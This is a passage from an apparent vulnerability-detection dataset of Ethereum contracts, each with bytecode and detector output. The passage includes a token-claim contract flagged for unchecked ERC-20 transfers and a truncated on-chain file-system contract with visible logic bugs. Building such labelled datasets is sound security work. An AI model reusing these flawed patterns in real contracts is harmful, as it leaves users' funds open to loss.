29060010190602001808311610e6757829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ecb57600080fd5b610f5a82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136c90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561111457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561115057600080fd5b6111a1826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136c90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611234826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008083831115151561137e57600080fd5b82840390508091505092915050565b60008082840190508381101515156113a457600080fd5b8091505092915050565b6113b88282611564565b5050565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561144757600080fd5b6114d681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136c90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156082826113ae565b5050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561158a57600080fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156115d757600080fd5b6115ec8160025461136c90919063ffffffff16565b600281905550611643816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136c90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a72305820e171e6ef1488161fc47e4dd5c228647be456aca17cc12a869280c00af681cd440029
{"success": true, "error": null, "results": {}}
2,749
0xbb5cc0913afd3218bafc350e72b16304a026b47e
/** *Submitted for verification at Etherscan.io on 2021-05-12 */ pragma solidity ^0.5.0; library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface ICourtStake{ function lockedStake(uint256 amount, address beneficiar, uint256 StartReleasingTime, uint256 batchCount, uint256 batchPeriod) external; } contract MT_Claim is ICourtStake{ using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public courtToken = IERC20(0x0538A9b4f4dcB0CB01A7fA34e17C0AC947c22553); uint8 public courtDecimals = 18; IERC20 public usdtToken = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); uint256 public usdtDecimals = 6; //todo: set numerator uint256 public numerator = 30; uint256 public denominator = 1; // usdt is 6 decimals so 1 usdt = 1e12 other mapping(address => bool) hasPermissionToCallLockedStake; address public owner; constructor() public{ owner = msg.sender ; } function changeParameters(address courtAddress, address usdtAddress, uint256 decimals,uint256 _numerator, uint256 _denominator) public{ require(msg.sender == owner, "only owner can change Numerator and Denominator"); require(denominator != 0, "denominator can not be 0"); //can not div by zero courtToken = IERC20(courtAddress); usdtToken = IERC20(usdtAddress); usdtDecimals = decimals; numerator = _numerator; denominator = _denominator; } function lockedStake(uint256 courtAmount, address beneficiar, uint256, uint256, uint256) public{ require(hasPermissionToCallLockedStake[msg.sender] == true, "caller has no permission to call courtAmount"); courtToken.transferFrom(msg.sender,address(this), courtAmount); // msg sender here is the HTStake contracte uint256 usdtAmount = getRequiredAmount(courtAmount); usdtToken.safeTransferFrom(beneficiar,address(this),usdtAmount); // user need to approve this contract usdtToken.safeTransfer(owner,usdtAmount); courtToken.transfer(beneficiar,courtAmount); //beneficiar the one who claim court } function getRequiredAmount(uint256 amount) public view returns(uint256){ return amount.mul(numerator).div(denominator.mul(10 ** (courtDecimals - usdtDecimals) )); } function setLockedStakePermission(address account, bool permissionFlag) public{ require(msg.sender == owner, "only owner can change Numerator and Denominator"); hasPermissionToCallLockedStake[account] = permissionFlag; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063a98ad46c11610071578063a98ad46c14610166578063c3443b691461016e578063caa32b9114610176578063ce5f9454146101b4578063f895be10146101bc578063fb301841146101d9576100a9565b8063824df88d146100ae57806382543b32146100de5780638da5cb5b146100f857806393d8685f1461011c57806396ce07951461015e575b600080fd5b6100dc600480360360408110156100c457600080fd5b506001600160a01b03813516906020013515156101f7565b005b6100e661026b565b60408051918252519081900360200190f35b610100610271565b604080516001600160a01b039092168252519081900360200190f35b6100dc600480360360a081101561013257600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060800135610280565b6100e661035b565b610100610361565b610100610370565b6100dc600480360360a081101561018c57600080fd5b508035906001600160a01b03602082013516906040810135906060810135906080013561037f565b6100e6610536565b6100e6600480360360208110156101d257600080fd5b503561053c565b6101e1610595565b6040805160ff9092168252519081900360200190f35b6006546001600160a01b031633146102405760405162461bcd60e51b815260040180806020018281038252602f8152602001806109c1602f913960400191505060405180910390fd5b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b60025481565b6006546001600160a01b031681565b6006546001600160a01b031633146102c95760405162461bcd60e51b815260040180806020018281038252602f8152602001806109c1602f913960400191505060405180910390fd5b60045461031d576040805162461bcd60e51b815260206004820152601860248201527f64656e6f6d696e61746f722063616e206e6f7420626520300000000000000000604482015290519081900360640190fd5b600080546001600160a01b039687166001600160a01b0319918216179091556001805495909616941693909317909355600255600391909155600455565b60045481565b6001546001600160a01b031681565b6000546001600160a01b031681565b3360009081526005602052604090205460ff1615156001146103d25760405162461bcd60e51b815260040180806020018281038252602c815260200180610995602c913960400191505060405180910390fd5b60008054604080516323b872dd60e01b81523360048201523060248201526044810189905290516001600160a01b03909216926323b872dd926064808401936020939083900390910190829087803b15801561042d57600080fd5b505af1158015610441573d6000803e3d6000fd5b505050506040513d602081101561045757600080fd5b50600090506104658661053c565b600154909150610486906001600160a01b031686308463ffffffff6105a516565b6006546001546104a9916001600160a01b0391821691168363ffffffff61060516565b600080546040805163a9059cbb60e01b81526001600160a01b038981166004830152602482018b90529151919092169263a9059cbb92604480820193602093909283900390910190829087803b15801561050257600080fd5b505af1158015610516573d6000803e3d6000fd5b505050506040513d602081101561052c57600080fd5b5050505050505050565b60035481565b600061058f61056f600254600060149054906101000a900460ff1660ff1603600a0a60045461065c90919063ffffffff16565b60035461058390859063ffffffff61065c16565b9063ffffffff6106bc16565b92915050565b600054600160a01b900460ff1681565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526105ff9085906106fe565b50505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526106579084906106fe565b505050565b60008261066b5750600061058f565b8282028284828161067857fe5b04146106b55760405162461bcd60e51b81526004018080602001828103825260218152602001806109f06021913960400191505060405180910390fd5b9392505050565b60006106b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506108b6565b610710826001600160a01b0316610958565b610761576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061079f5780518252601f199092019160209182019101610780565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610801576040519150601f19603f3d011682016040523d82523d6000602084013e610806565b606091505b50915091508161085d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156105ff5780806020019051602081101561087957600080fd5b50516105ff5760405162461bcd60e51b815260040180806020018281038252602a815260200180610a11602a913960400191505060405180910390fd5b600081836109425760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156109075781810151838201526020016108ef565b50505050905090810190601f1680156109345780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161094e57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061098c5750808214155b94935050505056fe63616c6c657220686173206e6f207065726d697373696f6e20746f2063616c6c20636f757274416d6f756e746f6e6c79206f776e65722063616e206368616e6765204e756d657261746f7220616e642044656e6f6d696e61746f72536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a723158200235855531bc14efaf1dbb85838a3a9a23d753be37e4c3ee2c59fdca870c0bdb64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
2,750
0xe1e1498f18765bd68daddaba47dfc2c693c5f83d
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; //+commit.4cb486ee; struct File{ uint256 timestamp; bool set; bool deleted; bool closed; uint256 size; bytes32[][] data; } struct FileTransfer{ string name; address sender; uint256 transferTimestamp; uint256 timestamp; bool closed; uint256 size; bytes32[] data; } contract ethFS { // Events // File modification events event FileSaved ( address indexed user, string indexed name, uint256 timestamp, uint256 size, bool appended, bytes32 dataHash ); event FileClosed ( address indexed user, string indexed name ); event FileDeleted ( address indexed user, string indexed name ); // File transfer events event InboxCleared ( address indexed user ); event InboxWhitelistStatusChange ( address indexed user, bool enabled ); event InboxWhitelistUserStatusChange ( address indexed user, address indexed sender, bool enabled ); event FileTransfered ( address indexed user, address indexed receiver, string indexed name, uint256 transferTimestamp ); event FileTransferAccepted ( address indexed user, address indexed sender, string indexed name, uint256 transferTimestamp ); // Ownership address owner; address nextOwner; address beneficiary; // Constraints uint256 minNameLenth = 1; uint256 maxNameLength = 1024; // Fees uint256 feePerFile = 0; uint256 feePerByte = 0; uint256 deletionFee = 0; uint256 closingFee = 0; uint256 transferSendFeePerFile = 0; uint256 transferSendFeePerByte = 0; uint256 transferAcceptFeePerFile = 0; uint256 transferAcceptFeePerByte = 0; // Active flags bool enabled = true; bool deletionAllowed = false; bool deletionEnabled = false; bool transferEnabled = true; // Statistics // Files uint256 totalSizeWritten = 0; uint256 totalSize = 0; uint256 totalSizeDeleted = 0; uint256 numberOfFiles = 0; // Increased when file is written that has not been set uint256 numberOfWrites = 0; // Increased whenever a file is written (created, overwritten, appended, transfers accepted) uint256 numberOfTrueAppends = 0; // Increased whenever a file is appended uint256 numberOfDeletedFiles = 0; // Number of times the delete bit has been set on a file // File transfers uint256 numberOfInboxClearings = 0; uint256 numberOfWhitelistedUsers = 0; uint256 numberOfUsersWithDisabledInboxWhitelist = 0; uint256 numberOfTransferRequests = 0; uint256 numberOfAcceptedFileTransfers = 0; // Operations uint256 defaultNumberOfNewestNames = 100; // Data store mapping(bytes32 => bytes) store; mapping(address => mapping(string => File)) nodes; mapping(address => string[]) index; // Inbox mapping(address => FileTransfer[][]) inbox; mapping(address => bool) inboxWhitelistDisabled; mapping(address => mapping(address => bool)) inboxWhitelist; // Ownership constructor() payable { owner = msg.sender; beneficiary = msg.sender; } function transferOwnership(address newOwner) external { require(msg.sender == owner, "Only owner can transfer ownership"); nextOwner = newOwner; } function confirmOwnership() external { require(msg.sender == nextOwner, "Only next owner can confirm owner"); owner = nextOwner; } function setBeneficiary(address b) external { require(msg.sender == owner, "Only owner can set the beneficiary"); beneficiary = b; } function withdraw(uint256 amount) external { require(msg.sender == beneficiary, "Only the beneficiary can withdraw"); payable(msg.sender).transfer(amount); } // Activity flags function setEnabled(bool flag) external { require(msg.sender == owner, "Only owner can enable/disable"); enabled = flag; } function setDeletionFlags(bool enabledFlag, bool allowedFlag) external { require(msg.sender == owner, "Only the owner can allow/disallow / enable/disable deletion"); deletionAllowed = allowedFlag; deletionEnabled = enabledFlag; } function setTransferEnabled(bool flag) external { require(msg.sender == owner, "Only the owner can set the transfer enabled flag"); transferEnabled = flag; } function setFilenameLimits(uint256 minLen, uint256 maxLen) external { require(msg.sender == owner, "Only the owner can set the max name length"); require(minLen > 0, "Minimal filename length needs to be greater than 0"); minNameLenth = minLen; maxNameLength = maxLen; } // Operations function setOperationParameters(uint256 nNewest) external { require(msg.sender == owner, "Only the owner can set operation parameters"); defaultNumberOfNewestNames = nNewest; } // Fees function setFileOperationFees(uint256 perFile, uint256 perByte, uint256 perDeletion, uint256 perClose) external { require(msg.sender == owner, "Only the owner can set the per file fee"); feePerFile = perFile; feePerByte = perByte; deletionFee = perDeletion; closingFee = perClose; } function setTransferFees(uint256 sendPerFile, uint256 sendPerByte, uint256 acceptPerFile, uint256 acceptPerByte) external { require(msg.sender == owner, "Only the owner can set the transfer fees"); transferSendFeePerFile = sendPerFile; transferSendFeePerByte = sendPerByte; transferAcceptFeePerFile = acceptPerFile; transferAcceptFeePerByte = acceptPerByte; } // Filesystem operations function calculateSaveFee(bytes memory data) view public returns (uint256) { return data.length * feePerByte + feePerFile; } function save(string memory name, bytes memory data) public payable { save(name, data, false); } function save(string memory name, bytes memory data, bool append) public payable { require(enabled == true, "ethFS disabled"); require(bytes(name).length >= minNameLenth, "Name shorter than min filename length"); require(bytes(name).length <= maxNameLength, "Name longer than max filename length"); require(!containsNewline(name), "Filename should not contain newline"); require(msg.value >= calculateSaveFee(data), "Not enough ether provided for saving fee"); require(!append || !nodes[msg.sender][name].closed, "Trying to append but file is closed"); require(!deletionEnabled || !append || !nodes[msg.sender][name].deleted, "Trying to append to deleted file"); bool trueAppend = nodes[msg.sender][name].set && append; if(!nodes[msg.sender][name].set) { index[msg.sender].push(name); numberOfFiles++; assert(nodes[msg.sender][name].data.length == 0); // Data store for file that is not set should be empty nodes[msg.sender][name].data.push(); } else { // If file is already set and operation is not append (=> overwrite) if(!append) { nodes[msg.sender][name].data.push(); totalSize -= nodes[msg.sender][name].size; nodes[msg.sender][name].size = 0; } if(nodes[msg.sender][name].deleted){ totalSizeDeleted -= nodes[msg.sender][name].size; numberOfDeletedFiles--; } } bytes32 dataHash = keccak256(data); store[dataHash] = data; nodes[msg.sender][name].set = true; nodes[msg.sender][name].deleted = false; nodes[msg.sender][name].closed = false; nodes[msg.sender][name].timestamp = block.timestamp; nodes[msg.sender][name].size += data.length; nodes[msg.sender][name].data[nodes[msg.sender][name].data.length - 1].push(dataHash); totalSizeWritten += data.length; totalSize += data.length; numberOfWrites++; if(trueAppend) { numberOfTrueAppends++; } emit FileSaved(msg.sender, name, block.timestamp, data.length, trueAppend, dataHash); } function close(string calldata name) external payable { require(enabled == true, "ethFS disabled"); require(nodes[msg.sender][name].set = true, "Trying to close file that is not set"); require(msg.value >= closingFee, "Not enough ether provided for closing fee"); nodes[msg.sender][name].closed = true; emit FileClosed(msg.sender, name); } function remove(string calldata name) external payable { require(enabled == true, "ethFS disabled"); require(deletionAllowed, "Deletion not allowed"); require(deletionEnabled, "Deletion disabled"); require(nodes[msg.sender][name].set, "File not found"); require(msg.value >= deletionFee, "Not enough ether provided for deletion fee"); bool trueDelete = !nodes[msg.sender][name].deleted; nodes[msg.sender][name].deleted = true; if(trueDelete){ numberOfDeletedFiles++; totalSizeDeleted += nodes[msg.sender][name].size; } emit FileDeleted(msg.sender, name); } // Data chunk helpers function getFileData(bytes32[] memory data) private view returns (bytes memory) { bytes memory res; for(uint256 i=0; i<data.length; i++){ res = abi.encodePacked(res, store[data[i]]); } return res; } // Transfer operations function clearInbox() external { inbox[msg.sender].push(); numberOfInboxClearings++; emit InboxCleared(msg.sender); } function setInboxWhitelistEnabled(bool flag) external { bool previousState = !inboxWhitelistDisabled[msg.sender]; inboxWhitelistDisabled[msg.sender] = !flag; if(previousState != flag){ if(!flag){ numberOfUsersWithDisabledInboxWhitelist++; } else { numberOfUsersWithDisabledInboxWhitelist--; } } emit InboxWhitelistStatusChange(msg.sender, flag); } function setInboxWhitelist(address sender, bool flag) external { bool previousState = inboxWhitelist[msg.sender][sender]; inboxWhitelist[msg.sender][sender] = flag; if(previousState != flag) { if(flag){ numberOfWhitelistedUsers++; } else { numberOfWhitelistedUsers--; } } emit InboxWhitelistUserStatusChange(msg.sender, sender, flag); } function calculateTransferSendingFee(string memory name) public view returns (uint256) { require(nodes[msg.sender][name].set, "File does not exist"); require(!nodes[msg.sender][name].deleted || !deletionEnabled, "File has been deleted"); return nodes[msg.sender][name].size * transferSendFeePerByte + transferSendFeePerFile; } function transfer(string calldata name, address receiver) external payable { require(enabled == true, "ethFS disabled"); require(transferEnabled, "Transfer is not enabled"); require(nodes[msg.sender][name].set, "File does not exist"); require(!nodes[msg.sender][name].deleted || !deletionEnabled, "File has been deleted"); require(inboxWhitelistDisabled[receiver] || inboxWhitelist[receiver][msg.sender], "Inbox whitelist enabled by receiver and sender not whitelisted"); require(msg.value >= calculateTransferSendingFee(name), "Not enough ether provided for transfer fee"); FileTransfer memory ft; ft.sender = msg.sender; ft.name = name; ft.transferTimestamp = block.timestamp; ft.timestamp = nodes[msg.sender][name].timestamp; ft.closed = nodes[msg.sender][name].closed; ft.size = nodes[msg.sender][name].size; ft.data = nodes[msg.sender][name].data[nodes[msg.sender][name].data.length - 1]; if(inbox[receiver].length == 0){ inbox[receiver].push(); } inbox[receiver][inbox[receiver].length - 1].push(ft); numberOfTransferRequests++; emit FileTransfered(msg.sender, receiver, name, ft.transferTimestamp); } // returns (index of last FileTransfer, fee) function calculateLastFileTransferAcceptanceFee() public view returns (uint256, uint256) { require(inbox[msg.sender].length > 0, "Inbox not yet existing"); require(inbox[msg.sender][inbox[msg.sender].length - 1].length > 0, "Inbox empty"); uint256 i = inbox[msg.sender][inbox[msg.sender].length - 1].length - 1; return (i, inbox[msg.sender][inbox[msg.sender].length - 1][i].size * transferAcceptFeePerByte + transferAcceptFeePerFile); } function acceptLastFileTransfer(uint256 i) external payable { require(enabled == true, "ethFS disabled"); require(transferEnabled, "Transfer is not enabled"); require(inbox[msg.sender].length > 0, "Inbox not yet existing"); require(inbox[msg.sender][inbox[msg.sender].length - 1].length > 0, "Inbox empty"); require(i == inbox[msg.sender][inbox[msg.sender].length - 1].length - 1, "Requested transfer index not the last file in inbox (inbox)"); (, uint256 fee) = calculateLastFileTransferAcceptanceFee(); require(msg.value >= fee, "Not enough ether provided for transfer fee"); FileTransfer storage ft = inbox[msg.sender][inbox[msg.sender].length - 1][i]; inbox[msg.sender][inbox[msg.sender].length - 1].pop(); if(!nodes[msg.sender][ft.name].set) { index[msg.sender].push(ft.name); numberOfFiles++; assert(nodes[msg.sender][ft.name].data.length == 0); // Data store for file that is not set should be empty } else { // If file is already set => overwrite totalSize -= nodes[msg.sender][ft.name].size; if(nodes[msg.sender][ft.name].deleted){ totalSizeDeleted -= nodes[msg.sender][ft.name].size; numberOfDeletedFiles--; } } nodes[msg.sender][ft.name].set = true; nodes[msg.sender][ft.name].deleted = false; nodes[msg.sender][ft.name].timestamp = ft.timestamp; nodes[msg.sender][ft.name].closed = ft.closed; nodes[msg.sender][ft.name].size = ft.size; nodes[msg.sender][ft.name].data.push(ft.data); numberOfAcceptedFileTransfers++; totalSize += ft.size; numberOfWrites++; emit FileTransferAccepted(msg.sender, ft.sender, ft.name, ft.transferTimestamp); } // Getters // Filesystem function count(address user, bool excludeDeleted) public view returns (uint256){ uint256 c = 0; for(uint256 i=0; i<index[user].length; i++){ c += (deletionEnabled && excludeDeleted && nodes[user][index[user][i]].deleted) ? 0 : 1; } return c; } function count() public view returns (uint256){ return count(msg.sender, true); } function getName(address user, uint256 i) public view returns (string memory) { return index[user][i]; } function getName(uint256 i) public view returns (string memory) { return getName(msg.sender, i); } function getAllNames(address user, uint256 n, bool excludeDeleted) public view returns (string memory){ string[] memory nameIndex = index[user]; bytes memory res; uint256 nAdded = 0; for(uint256 i=0; i<nameIndex.length; i++){ if(n == 0 || nAdded < n){ uint256 current = nameIndex.length - i - 1; if(!deletionEnabled || !excludeDeleted || !nodes[user][nameIndex[current]].deleted) { res = abi.encodePacked(res, nameIndex[current], '\n'); nAdded++; } } } return string(res); } function getAllNames(address user) public view returns (string memory){ return getAllNames(user, 0, true); } function getAllNames() public view returns (string memory){ return getAllNames(msg.sender, 0, true); } function getNewestNames(address user, uint256 n) public view returns (string memory){ return getAllNames(user, n, true); } function getNewestNames(uint256 n) public view returns (string memory){ return getAllNames(msg.sender, n, true); } function getNewestNames() public view returns (string memory){ return getAllNames(msg.sender, defaultNumberOfNewestNames, true); } function exists(string memory name) public view returns (bool) { return exists(msg.sender, name); } function exists(address user, string memory name) public view returns (bool) { return nodes[user][name].set && (!nodes[msg.sender][name].deleted || !deletionEnabled); } function retrieve(address user, string memory name) public view returns (bytes memory){ require(nodes[user][name].set, "File does not exist"); require(!nodes[user][name].deleted || !deletionEnabled, "File has been deleted"); return getFileData(nodes[user][name].data[nodes[msg.sender][name].data.length - 1]); } function retrieve(string memory name) public view returns (bytes memory){ return retrieve(msg.sender, name); } function getTimestamp(address user, string memory name) public view returns (uint256){ require(nodes[user][name].set, "File does not exist"); require(!nodes[user][name].deleted || !deletionEnabled, "File has been deleted"); return nodes[user][name].timestamp; } function getTimestamp(string calldata name) external view returns (uint256){ return getTimestamp(msg.sender, name); } function getSize(address user, string memory name) public view returns (uint256){ require(nodes[user][name].set, "File does not exist"); require(!nodes[user][name].deleted || !deletionEnabled, "File has been deleted"); return nodes[user][name].size; } function getSize(string calldata name) external view returns (uint256){ return getSize(msg.sender, name); } // Inbox // returns index, name, sender, transferTimestamp, timestamp, dataHash function getLastFileFromInbox() external view returns (uint256, string memory, address, uint256, uint256, bytes memory) { require(inbox[msg.sender].length > 0, "Inbox not yet existing"); require(inbox[msg.sender][inbox[msg.sender].length - 1].length > 0, "Inbox empty"); uint256 i = inbox[msg.sender][inbox[msg.sender].length - 1].length - 1; (string memory name, address sender, uint256 transferTimestamp, uint256 timestamp, bytes memory data) = getFileFromInbox(i); return (i, name, sender, transferTimestamp, timestamp, data); } // returns name, sender, transferTimestamp, timestamp, dataHash function getFileFromInbox(uint256 i) public view returns (string memory, address, uint256, uint256, bytes memory) { require(inbox[msg.sender].length > 0, "Inbox not yet existing"); require(i >= 0 && i < inbox[msg.sender][inbox[msg.sender].length - 1].length, "Index out of range"); FileTransfer memory ft = inbox[msg.sender][inbox[msg.sender].length - 